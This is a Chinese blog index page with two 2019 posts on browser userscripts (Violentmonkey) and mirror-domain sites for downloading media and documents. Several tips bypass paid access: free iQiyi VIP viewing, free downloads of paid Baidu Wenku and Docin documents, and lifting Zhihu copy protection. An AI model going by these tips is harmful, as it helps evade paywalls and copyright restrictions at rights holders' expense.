<!DOCTYPE html>



  


<html class="theme-next gemini use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">
<script>
    (function () {
        if ('') {
            if (prompt('请输入文章密码') !== '') {
                alert('密码错误！');
                if (history.length === 1) {
                    location.replace("https://google.com"); // 这里替换成你的首页
                } else {
                    history.back();
                }
            }
        }
    })();
</script>








<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="Hexo, NexT">










<meta property="og:type" content="website">
<meta property="og:title" content="苏生不惑的博客">
<meta property="og:url" content="http://yoursite.com/page/32/index.html">
<meta property="og:site_name" content="苏生不惑的博客">
<meta property="og:locale" content="zh-Hans">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="苏生不惑的博客">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Gemini',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: '博主'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="http://yoursite.com/page/32/">



<meta name="referrer" content="never"> ​​​​


  <title>苏生不惑的博客</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="zh-Hans">

  
  
    
  

  <div class="container sidebar-position-left 
  page-home">
    <div class="headband"></div>

    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">苏生不惑的博客</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            首页
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            关于
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            归档
          </a>
        </li>
      

      
        <li class="menu-item menu-item-search">
          
            <a href="javascript:;" class="popup-trigger">
          
            
              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
            
            搜索
          </a>
        </li>
      
    </ul>
  

  
    <div class="site-search">
      
  <div class="popup search-popup local-search-popup">
  <div class="local-search-header clearfix">
    <span class="search-icon">
      <i class="fa fa-search"></i>
    </span>
    <span class="popup-btn-close">
      <i class="fa fa-times-circle"></i>
    </span>
    <div class="local-search-input-wrapper">
      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
    </div>
  </div>
  <div id="local-search-result"></div>
</div>



    </div>
  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            
  <section id="posts" class="posts-expand">
    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/07/22/Chrome-浏览器扩展神器暴力猴/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/07/22/Chrome-浏览器扩展神器暴力猴/" itemprop="url">Chrome 浏览器扩展神器暴力猴</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-22T20:11:59+08:00">
                2019-07-22
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  875 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  3 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>之前写过<a href="https://mp.weixin.qq.com/s/adJFh_9LH0N-vvvYaiQqXg" target="_blank" rel="noopener">油猴插件</a> ，今天再说说另外一个比油猴更好用的<code>暴力猴</code>，这是一个可以加载油猴脚本的 Chrome 扩展，很多可以用脚本实现功能的的扩展都可以不用安装了，它支持Userscripts.org、GreasyFork、OpenUserJS三大脚本下载源。</p>
<h3 id="安装扩展"><a href="#安装扩展" class="headerlink" title="安装扩展"></a>安装扩展</h3><p>它是个Chrome扩展，直接在官网下载<a href="https://chrome.google.com/webstore/detail/violentmonkey/jinjaccalgkegednnccohejagnlnfdag?hl=zh-CN" target="_blank" rel="noopener">https://chrome.google.com/webstore/detail/violentmonkey/jinjaccalgkegednnccohejagnlnfdag?hl=zh-CN</a> 如果上不了Google，可以在国内Chrome 第三方插件网站下载<a href="https://www.chromefor.com/%E6%9A%B4%E5%8A%9B%E7%8C%B4_v2-9-10/" target="_blank" rel="noopener">https://www.chromefor.com/%E6%9A%B4%E5%8A%9B%E7%8C%B4_v2-9-10/</a><br>或者公众号内回复 <code>暴力猴</code> 获取下载链接。</p>
<p>打开Chrome扩展<a href="chrome://extensions/" target="_blank" rel="noopener">chrome://extensions/</a>，打开开发者模式，将下载的crx文件拖进去，如果出错提示程序包无效<br><img src="https://upload-images.jianshu.io/upload_images/17817191-31cb72f96349278e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>将crx后缀改为zip再拖进去就能安装成功了，浏览器右上角可以看到图标。</p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-0d402f20b7896a2d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>安装完扩展后，打开对应网站可以搜索到相应的油猴脚本（相比油猴就是它帮你搜索了），下面推荐些常用的。</p>
<h3 id="网易云音乐下载"><a href="#网易云音乐下载" class="headerlink" title="网易云音乐下载"></a>网易云音乐下载</h3><p>打开网易云音乐，点击右上角图标，为此站点查找脚本。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-0aa65f1d38f4c374.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>跳转到<a href="https://greasyfork.org/zh-CN/scripts/by-site/163.com" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/by-site/163.com</a><br>可以看到网易相关的所有脚本。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-60859794b40b46bd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>安装第一个脚本听歌的时候可以直接下载歌曲了。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-eee0b14bf0798c0d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="百度网盘直链下载助手"><a href="#百度网盘直链下载助手" class="headerlink" title="百度网盘直链下载助手"></a>百度网盘直链下载助手</h3><p>打开百度网盘链接，点击右上角图标查找脚本，第一个就是<a href="https://greasyfork.org/zh-CN/scripts/39504" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/39504</a><br>这个脚本可以免安装客户端一键获取百度网盘文件真实下载地址，支持使用IDM，迅雷等下载工具下载。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-e46c47282232c20e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="知乎禁止复制解除"><a href="#知乎禁止复制解除" class="headerlink" title="知乎禁止复制解除"></a>知乎禁止复制解除</h3><p>比如这个问题 <a href="https://www.zhihu.com/question/25670119/answer/63283645" target="_blank" rel="noopener">https://www.zhihu.com/question/25670119/answer/63283645</a> 的这段话是禁止复制的</p>
<blockquote>
<p>而聪明人懂得利用系统工程的思维方式，把他所观察接触的事务分析拆解成一个个小的环节，研究各个环节之间的关系以及所有环节对整体的影响；然后利用他对环节的研究，达到自己的设想的目的。</p>
</blockquote>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-1fc2fc398e58e91e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>搜索到对应的脚本<a href="https://greasyfork.org/zh-CN/scripts/by-site/zhihu.com" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/by-site/zhihu.com</a><br>，安装就能用直接复制了。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-6057da14c1a6590d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>如果不想安装扩展，打开页面，先按F12，再按F1。在打开的开发功能页面中选择「Disable JavaScript」 选中这个选项后是即时生效的，这样就可以复制需要的内容了。</p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-7b61a540f9db30f4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="b站视频下载"><a href="#b站视频下载" class="headerlink" title="b站视频下载"></a>b站视频下载</h3><p>比如这个视频<a href="https://www.bilibili.com/video/av40097299" target="_blank" rel="noopener">https://www.bilibili.com/video/av40097299</a><br>安装这个脚本，播放的时候左下角有下载按钮，点击跳转到下载页面<a href="https://www.ibilibili.com/video/av40097299?from=search&amp;seid=12959661207589720419" target="_blank" rel="noopener">https://www.ibilibili.com/video/av40097299?from=search&amp;seid=12959661207589720419</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-af8b8eac3b84cf61.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-cbae9c4fd65a7094.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-befd4dbd83743acd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="爱奇艺免VIP"><a href="#爱奇艺免VIP" class="headerlink" title="爱奇艺免VIP"></a>爱奇艺免VIP</h3><p><img src="https://upload-images.jianshu.io/upload_images/17817191-2e6310dc2651d37c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>安装脚本后可以直接免VIP看影视剧，具体使用见之前的文章。</p>
<p>更多脚本自己摸索吧。</p>
<p> 推荐阅读：</p>
<p><a href="https://mp.weixin.qq.com/s/adJFh_9LH0N-vvvYaiQqXg" target="_blank" rel="noopener">Chrome 浏览器扩展神器油猴</a></p>
<p><a href="https://mp.weixin.qq.com/s/-cSjrvkibYGp5Fx8gCTFuw" target="_blank" rel="noopener">那些你可能不知道的浏览器奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/eGDO0Y8el_dsEyriCoAgog" target="_blank" rel="noopener">那些你可能不知道的微信奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/j7VhoZXmUTnOWC5C_B8jlQ" target="_blank" rel="noopener">那些你可能不知道的微博奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/LtI2piwAIDXA590NEsXvuw" target="_blank" rel="noopener">那些你可能不知道的网易云音乐奇技淫巧</a></p>
<p> <a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483979&amp;idx=1&amp;sn=0735daa1d805b66d346ed0e8e60a841f&amp;scene=21#wechat_redirect" target="_blank" rel="noopener">那些你可能不知道的搜索奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483983&amp;idx=1&amp;sn=f0e1d9a8e22caf609d6c21431a530186&amp;chksm=e827a5aedf502cb8b72f2036054753fcfd9c20c28b9fbccdeae619a254a80e1024f18ba06523&amp;token=457023358&amp;lang=zh_CN#rd" target="_blank" rel="noopener">那些你可能不知道的视频下载奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/R3x-xZwqLIVwPjlgikDQ9A" target="_blank" rel="noopener">那些你可能不知道的免费观看 VIP 视频奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/sqRgMh4rxFBt5YxNtaa6dw" target="_blank" rel="noopener">那些你可能不知道的知乎奇技淫巧</a></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-393b26173c148690.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="免费星球"></p>
<h3 id="公众号：苏生不惑"><a href="#公众号：苏生不惑" class="headerlink" title="公众号：苏生不惑"></a>公众号：苏生不惑</h3><p> <img src="https://upload-images.jianshu.io/upload_images/17817191-6e0079f95d4c0338.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="扫描二维码关注"></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/07/22/那些你可能不知道的百度文库-网盘下载工具/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/07/22/那些你可能不知道的百度文库-网盘下载工具/" itemprop="url">那些你可能不知道的百度文库/网盘下载工具</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-22T20:11:04+08:00">
                2019-07-22
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  1.4k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  5 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>有时候搜索文档，百度文库是个不错的选择，但有些文档下载要收费，如果想（一次性）免费下载（长期使用建议购买VIP）怎么办呢？这里分享些基于类似百度文库/知乎/京东等网站开发的网站。</p>
<h3 id="百度文库下载"><a href="#百度文库下载" class="headerlink" title="百度文库下载"></a>百度文库下载</h3><p>这个网站可以将百度文库预览的内容提取转换成 word 或 pdf 文件（wkhtmltopdf转化）。<br>在某个文档页面的网址域名后面加上 vvv 三个字母，就可以下载。<br>比如<a href="https://wenku.baidu.com/view/84f9128882c4bb4cf7ec4afe04a1b0717ed5b342.html" target="_blank" rel="noopener">https://wenku.baidu.com/view/84f9128882c4bb4cf7ec4afe04a1b0717ed5b342.html</a><br>加上 vvv 为<a href="https://wenku.baiduvvv.com/view/84f9128882c4bb4cf7ec4afe04a1b0717ed5b342.html" target="_blank" rel="noopener">https://wenku.baiduvvv.com/view/84f9128882c4bb4cf7ec4afe04a1b0717ed5b342.html</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-68cdf92d939b2c54.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>如果觉得麻烦可以使用冰点文库工具下载，公众号内回复 <code>文库下载</code> 获取。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-8119320909cc6e56.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="豆丁网文档下载"><a href="#豆丁网文档下载" class="headerlink" title="豆丁网文档下载"></a>豆丁网文档下载</h3><p>本网站为豆丁网文档复制抓取工具，导出的文档为word形式，非源文件，但文字可编辑，包含图片，尽量保持原文档的格式。支持原文档为WORD、PDF、TXT的文档，暂不支持PPT，Excel文档。</p>
<p>在某个文档页面的网址 URL 后面加上 365 三个数字，就可以快捷下载文档。 比如<a href="https://www.docin.com/p-2225699594.html" target="_blank" rel="noopener">https://www.docin.com/p-2225699594.html</a> 加上 365 为 <a href="https://www.docin365.com/p-2225699594.html" target="_blank" rel="noopener">https://www.docin365.com/p-2225699594.html</a> 点击解析下载即可。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-54479190b61c2014.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="百度网盘加速下载"><a href="#百度网盘加速下载" class="headerlink" title="百度网盘加速下载"></a>百度网盘加速下载</h3><p>比如网盘地址<a href="https://pan.baidu.com/s/1xoqNBgaTb9bOCW5n9OGXPg" target="_blank" rel="noopener">https://pan.baidu.com/s/1xoqNBgaTb9bOCW5n9OGXPg</a> 域名加上wp变成<a href="https://pan.baiduwp.com/s/1xoqNBgaTb9bOCW5n9OGXPg" target="_blank" rel="noopener">https://pan.baiduwp.com/s/1xoqNBgaTb9bOCW5n9OGXPg</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-75e5a2d659254623.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>输入提取码后<br><img src="https://upload-images.jianshu.io/upload_images/17817191-06a5ec588d775037.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>点击文件名跳转获取下载地址。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-f357f47048a73677.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="移动端知乎全回答"><a href="#移动端知乎全回答" class="headerlink" title="移动端知乎全回答"></a>移动端知乎全回答</h3><p>在微信或者手机浏览器打开知乎问题，只能看到一条回答，如果要显示全部答案，需要下载APP，比如这个问题 <a href="https://www.zhihu.com/question/330840262" target="_blank" rel="noopener">https://www.zhihu.com/question/330840262</a></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-6d5685f1a2d25a3d?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image" title="image.png"><br>如果你不想下载APP怎么办？在域名里加上vvv就成了<br><a href="https://www.zhihuvvv.com/question/330840262" target="_blank" rel="noopener">https://www.zhihuvvv.com/question/330840262</a> ,然后打开效果如下，打开APP变成了查看更多回答。</p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-a4a07ad4552881c6?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image" title="image.png"><br>另外百度贴吧也支持，比如周杰伦贴吧的这个帖子<a href="https://tieba.baidu.com/p/6200675596?pn=0&amp;" target="_blank" rel="noopener">https://tieba.baidu.com/p/6200675596?pn=0&amp;</a></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-a4e6683be1960785.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>加上vvv后变成 <a href="http://tieba.baiduvvv.com/p/6200675596?pn=0&amp;" target="_blank" rel="noopener">http://tieba.baiduvvv.com/p/6200675596?pn=0&amp;</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-c70b5e98cfc8005d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="网页快照"><a href="#网页快照" class="headerlink" title="网页快照"></a>网页快照</h3><p>如果某个网页打不开或者内容被删除了，常常要用搜索引擎的网页快照看到内容。<br>但有些搜索引擎可能没有该网页的快照，而且在手机移动端也是没法看网页快照的。<br>这个网站聚合查询各大搜索引擎的网页快照，在某个网址的域名前面加上his.sh/ ，即可显示该网址的在各大搜索引擎的网页快照，支持百度快照、搜狗快照、360 快照、bing 快照、Google快照，还不支持archive.is。</p>
<p>比如：<br><a href="https://www.zhihu.com/question/330840262" target="_blank" rel="noopener">https://www.zhihu.com/question/330840262</a> 在域名前面加上his.sh/ ，变为 his.sh/<a href="https://www.zhihu.com/question/330840262" target="_blank" rel="noopener">https://www.zhihu.com/question/330840262</a><br>看看这个知乎问题的搜狗快照（7月20日）<br><img src="https://upload-images.jianshu.io/upload_images/17817191-c711f54c27be70eb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="商品历史价格查询"><a href="#商品历史价格查询" class="headerlink" title="商品历史价格查询"></a>商品历史价格查询</h3><p>很多商家喜欢搞活动喜欢先提价然后降价，为了识别商家真假促销可以先查询下商品的历史价格。</p>
<p>在地址栏中的电商域名后加入字母<code>asd</code>即可查询当前商品历史价格，如正常浏览商品，假设商品原链接为：<br><a href="https://item.jd.com/3505714.html，在地址栏中域名后添加“asd”后回车，添加“asd”后的商品页面为：" target="_blank" rel="noopener">https://item.jd.com/3505714.html，在地址栏中域名后添加“asd”后回车，添加“asd”后的商品页面为：</a><br><a href="https://item.jdasd.com/3505714.html" target="_blank" rel="noopener">https://item.jdasd.com/3505714.html</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-d395bbdf16b6b1e8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>支持京东，天猫等大多数网站。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-239b9c5bf344f178.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>类似的网站还有 ：<br>购物党<a href="https://www.gwdang.com/trend" target="_blank" rel="noopener">https://www.gwdang.com/trend</a><br>惠惠助手<a href="http://zhushou.huihui.cn/history.html" target="_blank" rel="noopener">http://zhushou.huihui.cn/history.html</a><br>比比鲸<a href="http://www.bibijing.com/history" target="_blank" rel="noopener">http://www.bibijing.com/history</a><br>优惠买<a href="http://www.yhmai.cn/history" target="_blank" rel="noopener">http://www.yhmai.cn/history</a><br><a href="http://www.hisprice.cn/" target="_blank" rel="noopener">商品历史价格查询</a></p>
<h3 id="万能工具wn"><a href="#万能工具wn" class="headerlink" title="万能工具wn"></a>万能工具wn</h3><p>类似上面的网站这么多记不住怎么办，这里有终极万能工具。</p>
<blockquote>
<p>wn万能命令是一个在线工具效率平台，将各种高质量的在线工具按应用站点聚合起来，让你以方便快捷好记的方式寻找和使用各类在线工具。</p>
</blockquote>
<blockquote>
<p>浏览任意网页时，输入这个万能命令 wn.run/ 或点击一下固定的书签，就会展示出用于该网页的各种附加在线工具，比如 快速查看该网页历史存档(网页被删了找回)、下载该网页的视频音乐文件(默认无法下载或需要安装app登陆等)、快速网页翻译(默认手机端网页翻译会比较繁琐)、快速网页长截图、查看电商历史价格等，并且点击工具时一般会直达针对该网页的功能详情页。</p>
</blockquote>
<p>例如： <a href="https://item.jd.com/5225346.html" target="_blank" rel="noopener">https://item.jd.com/5225346.html</a> 在网址前面加上wn.run/ ，变为<br><a href="https://wn.run/https://item.jd.com/5225346.html" target="_blank" rel="noopener">wn.run/https://item.jd.com/5225346.html</a> 可以显示针对京东站点可用的在线工具。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-b85f9e47e53b923f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>再来看看b站<a href="https://wn.run/https://www.bilibili.com/video/av55630677" target="_blank" rel="noopener">https://wn.run/https://www.bilibili.com/video/av55630677</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-4c45e7ad92842c1f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-98bbeebca5be3fef.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br><img src="https://upload-images.jianshu.io/upload_images/17817191-a9240a46f2b4f3d7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>比如上面说的商品历史价格查询，历史快照这里都可以看到，还有油猴脚本等。</p>
<p>推荐阅读：</p>
<p><a href="https://mp.weixin.qq.com/s/-cSjrvkibYGp5Fx8gCTFuw" target="_blank" rel="noopener">那些你可能不知道的浏览器奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/eGDO0Y8el_dsEyriCoAgog" target="_blank" rel="noopener">那些你可能不知道的微信奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/j7VhoZXmUTnOWC5C_B8jlQ" target="_blank" rel="noopener">那些你可能不知道的微博奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/LtI2piwAIDXA590NEsXvuw" target="_blank" rel="noopener">那些你可能不知道的网易云音乐奇技淫巧</a></p>
<p> <a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483979&amp;idx=1&amp;sn=0735daa1d805b66d346ed0e8e60a841f&amp;scene=21#wechat_redirect" target="_blank" rel="noopener">那些你可能不知道的搜索奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483983&amp;idx=1&amp;sn=f0e1d9a8e22caf609d6c21431a530186&amp;chksm=e827a5aedf502cb8b72f2036054753fcfd9c20c28b9fbccdeae619a254a80e1024f18ba06523&amp;token=457023358&amp;lang=zh_CN#rd" target="_blank" rel="noopener">那些你可能不知道的视频下载奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/R3x-xZwqLIVwPjlgikDQ9A" target="_blank" rel="noopener">那些你可能不知道的免费观看 VIP 视频奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/sqRgMh4rxFBt5YxNtaa6dw" target="_blank" rel="noopener">那些你可能不知道的知乎奇技淫巧</a></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-393b26173c148690.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="免费星球"></p>
<h3 id="公众号：苏生不惑"><a href="#公众号：苏生不惑" class="headerlink" title="公众号：苏生不惑"></a>公众号：苏生不惑</h3><p> <img src="https://upload-images.jianshu.io/upload_images/17817191-6e0079f95d4c0338.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="扫描二维码关注"></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/07/16/Chrome-浏览器扩展神器油猴/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/07/16/Chrome-浏览器扩展神器油猴/" itemprop="url">Chrome 浏览器扩展神器油猴</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-16T20:09:11+08:00">
                2019-07-16
              </time>
            

            

            
